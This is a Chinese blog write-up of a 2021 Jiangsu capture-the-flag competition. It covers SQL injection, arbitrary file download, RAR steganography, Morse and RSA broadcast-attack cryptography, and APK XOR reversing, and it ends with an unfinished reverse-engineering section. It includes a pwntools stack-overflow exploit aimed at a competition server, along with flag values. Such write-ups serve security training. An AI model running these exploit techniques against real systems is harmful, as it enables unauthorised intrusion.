首页 > 技术文章 > 江苏省网络安全技能竞赛wp

lazyuan 2021-08-24 21:39 原文

第一题Web安全一
在当前页面下找寻失落的钥匙。
Address: 当前路径
base64解码得flag
flag{7477ec22654f1d27db4ab0136b34076b}
 
 
第二题sql注入
标题: 欢迎各位选手积极参赛
日期: 2021-01-16
正文:
通过每关关卡提示内容答题,获取flag值提交
这道题很有意思,输入的字符,会将你的ascii-1,比如我输入1,后端接收到的就是0,我输入的2,后端接受到的就是1,输入b,就是a,另外根据字符判断是数值型注入,sqli-lab第二关
接着就是将payload都先+1再发送即可,写个脚本处理一下
 
flag{43e29cd5339013d986325a9c8cca5593}
 
 
第三题web3
新生入学通知,每位新录取学生请填写好相关的身份证信息提交院系辅导员申请办理校园银行卡。
以后的所有学费都打入银行卡内结算。填写表格在附件中。
点击下载附件
 
鼠标放到下载附件的时候看到下面的url跳转
考虑存在任意文件下载漏洞
flag{250A51A2957E66F5C582375C62F28379}
 
 
 
第四题隐写
打开是一张图片,jpg文件格式
看了下文件尾并不是FFD9
直接搜索文件尾定位到文件尾
看到图片尾后有隐写数据,接着看后面的数据,有点类似Rar!这个文件头,且3333.jpg很明显像压缩包里的内容,考虑修改为rar的文件头,52617221
使用foremost分离
打开之后报错且需要密码
网上找到rar伪加密的相关内容:
RAR 文件的伪加密在文件头中的位标记字段上,用 010 Editor 可以很清楚的看见这一位,修改这一位可以造成伪加密。
打开以后看到flag
flag{281083381467a8d21e2dc41e3a81e8cd}
 
第五题密码学1
不是简单的morse哦!!!
--.../--.-/--.../--.-/---../-..../---../...../---../--.../--.../--.-/--.../--.-/---../-..../---../...../---../...--/--.../--.-/--.../--.-/---../....-/---../..---/--.../--.-/--.../--.-/---../-..../---../...../---../---../--.../--.-/--.../--.-/---../-..../---../--.../---../---../--.../--.-/--.../--.-/---../-----/---../..---/--.../--.-/--.../--.-/---../-----/---../--.../--.../--.-/--.../--.-/---../-----/---../--.../--.../--.-/--.../--.-/---../-..../---../...../---../--.../--.../--.-/--.../--.-/---../....-/---../....-/--.../--.-/--.../--.-/---../-..../---../...../---../--.../--.../--.-/--.../--.-/---../....-/---../....-/--.../--.-/--.../--.-/---../-----/---../---../--.../--.-/--.../--.-/---../-----/---../...../--.../--.-/--.../--.-/---../....-/---../..---/--.../--.-/--.../--.-/---../-..../---../...../---../--.../--.../--.-/--.../--.-/---../....-/---../..---/--.../--.-/--.../--.-/---../-..../---../...../---../...../--.../--.-/--.../--.-/---../-----/---../.----/--.../--.-/--.../--.-/---../-----/---../.----/--.../--.-/--.../--.-/---../----./---../...--/--.../--.-/--.../--.-/---../-----/---../--.../--.../--.-/--.../--.-/---../-----/---../...../--.../--.-/--.../--.-/---../-----/---../-----/--.../--.-/--.../--.-/---../-----/---../----./--.../--.-/--.../--.-/---../....-/---../....-/--.../--.-/--.../--.-/---../-..../---../...../---../-..../--.../--.-/--.../--.-/---../----./---../....-/--.../--.-/--.../--.-/---../-----/---../..---/--.../--.-/--.../--.-/---../....-/---../....-/--.../--.-/--.../--.-/---../-----/---../-..../--.../--.-/--.../--.-/---../-----/---../-----/--.../--.-/--.../--.-/---../-----/---../...../--.../--.-/--.../--.-/---../-..../---../...../---../...../--.../--.-/--.../--.-/---../-----/---../----./--.../--.-/--.../--.-/---../-----/---../...../--.../--.-/--.../--.-/---../-----/---../..---/--.../--.-/--.../--.-/---../-..../---../--.../---../-----
.和-换一下,得到
..---/..-./..---/..-./...--/.----/...--/-----/...--/..---/..---/..-./..---/..-./...--/.----/...--/-----/...--/---../..---/..-./..---/..-./...--/----./...--/--.../..---/..-./..---/..-./...--/.----/...--/-----/...--/...--/..---/..-./..---/..-./...--/.----/...--/..---/...--/...--/..---/..-./..---/..-./...--/...../...--/--.../..---/..-./..---/..-./...--/...../...--/..---/..---/..-./..---/..-./...--/...../...--/..---/..---/..-./..---/..-./...--/.----/...--/-----/...--/..---/..---/..-./..---/..-./...--/----./...--/----./..---/..-./..---/..-./...--/.----/...--/-----/...--/..---/..---/..-./..---/..-./...--/----./...--/----./..---/..-./..---/..-./...--/...../...--/...--/..---/..-./..---/..-./...--/...../...--/-----/..---/..-./..---/..-./...--/----./...--/--.../..---/..-./..---/..-./...--/.----/...--/-----/...--/..---/..---/..-./..---/..-./...--/----./...--/--.../..---/..-./..---/..-./...--/.----/...--/-----/...--/-----/..---/..-./..---/..-./...--/...../...--/-..../..---/..-./..---/..-./...--/...../...--/-..../..---/..-./..---/..-./...--/....-/...--/---../..---/..-./..---/..-./...--/...../...--/..---/..---/..-./..---/..-./...--/...../...--/-----/..---/..-./..---/..-./...--/...../...--/...../..---/..-./..---/..-./...--/...../...--/....-/..---/..-./..---/..-./...--/----./...--/----./..---/..-./..---/..-./...--/.----/...--/-----/...--/.----/..---/..-./..---/..-./...--/....-/...--/----./..---/..-./..---/..-./...--/...../...--/--.../..---/..-./..---/..-./...--/----./...--/----./..---/..-./..---/..-./...--/...../...--/.----/..---/..-./..---/..-./...--/...../...--/...../..---/..-./..---/..-./...--/...../...--/-----/..---/..-./..---/..-./...--/.----/...--/-----/...--/-----/..---/..-./..---/..-./...--/...../...--/....-/..---/..-./..---/..-./...--/...../...--/-----/..---/..-./..---/..-./...--/...../...--/--.../..---/..-./..---/..-./...--/.----/...--/..---/...--/.....
莫斯解码得到
 
2F2F3130322F2F3130382F2F39372F2F3130332F2F3132332F2F35372F2F35322F2F35322F2F3130322F2F39392F2F3130322F2F39392F2F35332F2F35302F2F39372F2F3130322F2F39372F2F3130302F2F35362F2F35362F2F34382F2F35322F2F35302F2F35352F2F35342F2F39392F2F3130312F2F34392F2F35372F2F39392F2F35312F2F35352F2F35302F2F3130302F2F35342F2F35302F2F35372F2F313235
 
接下来16进制转ascii,不写脚本了,直接利用winhex
得到
//102//108//97//103//123//57//52//52//102//99//102//99//53//50//97//102//97//100//56//56//48//52//50//55//54//99//101//49//57//99//51//55//50//100//54//50//57//125
接着转ascii,就可以得到flag
 
text = "//102//108//97//103//123//57//52//52//102//99//102//99//53//50//97//102//97//100//56//56//48//52//50//55//54//99//101//49//57//99//51//55//50//100//54//50//57//125"
tmp = text.split("//")
flag = ""
for i in tmp:
    if(len(i)==0):
        continue
    flag+=(chr(int(i)))
print(flag)

flag{944fcfc52afad8804276ce19c372d629}

 
第六题密码学2
n1 = 15155834512274272214023086908197336756053030242323048048512131680949741780299147739642915275652361208126932446440351058891478042858367410383038003646724877904586542918017377162655592508460664015520802259851733191541675998796977690625295282942487921358909287151891024014877346470774030618403239619473160116278194168652577809272534421739253899557104677104226574616639904574493424733183128587308159599813172995669302313437832700325084051476508569976017575025882273798141537465703201611158966576900748339845393511942859359762627565239827436817587889028229629219758444364576775816395068895690818282079757217830310515978127
c1 = 5494450691753612919737853915132855834096765605332015454640361032239132922012580874164314559884231834880509275803308491515200542216921855164502433282605157652587467862927015599896098323188736626786240688376765596607692289464553811726988171583144094764228322352598666387363126670431878708836399453243810268550215586416145954491987218058298118856157943192348712211081966817634248749541495202512318939478632136696161770495966945450638932386439853171097951854773848427327967005395447258238907517328462920672983843546368459675108565386048378949489538739601026072001299388754859205758045323903197238347844028607154218472306
 
n2 = 18842210020214893447278433763859917441673856882600914930106127408785094682894162560294377942902234973017097657819902883509747214618845368773090881368216216746436442141249517379544322252470231735357590551576267935271044692518720989544809387378449867873587634822735041718725775776009414593903385600936076275031894097065886553873609364053567942574441788746500339227794273331961537553598880986317346041994268899775773299522416638100324889325019104983092439964265139187515608224052770912315103299888397137605504388974375829966791573157027563210824142575469275327561579105886925938874788629638257034860660599571368175798461
c2 = 15910997684628836933496607822222338379406645512019432640918604219624447480532985768023714301290983608350871071716130518274600127858844679179194328069454410794891098307126961755968252512736349726488491987677072080227591095987989240857878550269813251096259256898342134501777151894253304947523375168108765477110299014857498094854675908649091364944658844775926024330884901188084046387555453089293651895591930508974990924414046626876421817769164530689640853992733514311151493031551639303253742905571602694843664756463426780635078828796848976379807092185402676057091126978898094714606653991907268150256457170921178656805579
 
n3 = 22226464873913386757133247086672623015441322463594301399173110257747012438384755298599579275470179177267971599252692901999457999425708376414098507189061197532848474420980635398317992526058501486595817545466391929028016230234872629151008606442578311078760628628631854292548829892677873370666324611373525794396390196365594857629571891566579209515557229327990901478393972604155740157773509050015850902188908735565008972678769316888808907105766444447172006423589415974903633898473609776222316128128663502376892785333075688374577344783477685782127745369509949692261461972928113463408930650442450649560710973027693882523477
c3 = 21108131787225755203618640254567084615589153124310726690274308424429723230473335893868276636623072829331045475826942731683413524092293553789570482144460927939891748979823308554622500275336062194855532746429393810887923652148687071388960360136186955257847070345952553820737048718319036485708755833021599297940989696082994353661789743040224669874599312843912069146579704045641485314755494706946042797137677502973218481668477064622319845680167436672625659231570816551826036490125795302674890570995611318268338711707381729921002213050069264691953697777498361151710349062417390509298962684853952003380381791557565960351045
 
(e1=e2=e3)
 
给个三组n和c,没给e,推测e较小,可以爆破,且存在低加密指数广播攻击:使用相同的加密指数 e 加密相同的信息,发送给多于e个不同的人,可能受到低加密指数广播攻击
设e=3,假设n1、n2、n3互素,否则可计算最大公约数直接得到p、q,由于n1、n2、n3互素,由中国剩余定理可求得m^e
flag{7189cb408174df02ebeae57c4d3ac0e0}
 
第七题APK
主函数调用check_flag检查输入的flag和生成的flag是否相等
检查逻辑如下:
经典的异或,写一个解密脚本
flag = ['2', '6', '7', '6', '=', '>', 'C', 'J', ':', '2', ':', '<', 'L', 'H', 'I', '\'', '%', ' ', '#', '!', 'V', '\'', 'R', ')', '.', '#', '+', 'Z', '$', 'Z', ',', '\u0013']
idx = 0
for i in flage:
    idx+=1
    print(chr(ord(i)^idx),end="")
flag{344288DB3810AFF74205C1E1790F9D33}
 
第八题PWN
IP:47.100.67.189, 端口18002
 
经典栈溢出
 
from pwn import *
context.log_level = 'debug'
# io = process('./pwn3')
io = remote('47.100.67.189','18002')
io.sendlineafter("please input your lucky number:","200")

io.sendlineafter("please input your lucky number2:","-180")

addr = 0x09E0
# payload = 0x68 * b"a" + p64(addr)
payload = 0x68 * b"a" + b'\xE0' + b'\x59'
# gdb.attach(io)
io.sendafter("please input your lucky strings:",payload)
io.interactive()
flag{abe794ad437f96763e68cee0c3cfcc83}

第九题re
请分析程序获取key值
 
先定位到主逻辑
 
查看主函数
sub_401680要为真就输入flag,看下函数调用
直接进入sub_403820
接下来sub_401E90
先不接着分析了,改天再更,跑步去了。。。。。。。。。

推荐阅读